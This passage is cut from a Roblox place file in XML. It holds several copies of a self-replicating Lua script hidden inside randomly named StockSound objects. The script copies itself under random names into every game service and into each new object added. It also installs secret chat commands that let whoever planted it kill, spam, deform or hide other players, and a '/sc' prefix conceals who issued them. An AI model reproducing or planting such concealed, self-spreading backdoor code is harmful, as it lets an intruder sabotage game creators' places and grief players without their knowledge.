if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
		</Item>
	</Item>
	<Item class="PhysicsService" referent="RBX956">
		<Properties>
			<string name="Name">PhysicsService</string>
			<bool name="archivable">true</bool>
		</Properties>
	</Item>
	<External>RBX957</External>
	<Item class="Selection" referent="RBX958">
		<Properties>
			<string name="Name">Selection</string>
			<bool name="archivable">true</bool>
		</Properties>
	</Item>
	<External>RBX959</External>
	<Item class="Lighting" referent="RBX960">
		<Properties>
			<Color3 name="Ambient">4287072135</Color3>
			<float name="Brightness">1</float>
			<Color3 name="ColorShift_Bottom">4278190080</Color3>
			<Color3 name="ColorShift_Top">4278190080</Color3>
			<float name="GeographicLatitude">41.7332993</float>
			<string name="Name">Lighting</string>
			<Color3 name="ShadowColor">4290427583</Color3>
			<string name="TimeOfDay">14:00:00</string>
			<bool name="archivable">true</bool>
		</Properties>
		<Item class="Sky" referent="RBX961">
			<Properties>
				<bool name="CelestialBodiesShown">true</bool>
				<string name="Name">Sky</string>
				<Content name="SkyboxBk"><url>http://www.roblox.com/asset/?version=1&amp;id=1010388</url></Content>
				<Content name="SkyboxDn"><url>http://www.roblox.com/asset/?version=1&amp;id=1010389</url></Content>
				<Content name="SkyboxFt"><url>http://www.roblox.com/asset/?version=1&amp;id=1010386</url></Content>
				<Content name="SkyboxLf"><url>http://www.roblox.com/asset/?version=1&amp;id=1010387</url></Content>
				<Content name="SkyboxRt"><url>http://www.roblox.com/asset/?version=1&amp;id=1010385</url></Content>
				<Content name="SkyboxUp"><url>http://www.roblox.com/asset/?version=1&amp;id=1010390</url></Content>
				<int name="StarCount">3000</int>
				<bool name="archivable">true</bool>
			</Properties>
			<Item class="StockSound" referent="RBX962">
				<Properties>
					<bool name="Looped">false</bool>
					<string name="Name">q80tyynnb</string>
					<int name="PlayCount">-1</int>
					<bool name="PlayOnRemove">false</bool>
					<Content name="SoundId"><null></null></Content>
					<float name="Volume">0.5</float>
					<bool name="archivable">true</bool>
				</Properties>
				<Item class="Script" referent="RBX963">
					<Properties>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><null></null></Content>
						<string name="Name">gcl2hlra</string>
						<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
						<bool name="archivable">true</bool>
					</Properties>
				</Item>
			</Item>
		</Item>
		<Item class="StockSound" referent="RBX964">
			<Properties>
				<bool name="Looped">false</bool>
				<string name="Name">lzfocy</string>
				<int name="PlayCount">-1</int>
				<bool name="PlayOnRemove">false</bool>
				<Content name="SoundId"><null></null></Content>
				<float name="Volume">0.5</float>
				<bool name="archivable">true</bool>
			</Properties>
			<Item class="Script" referent="RBX965">
				<Properties>
					<bool name="Disabled">false</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">hywxtdtb</string>
					<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
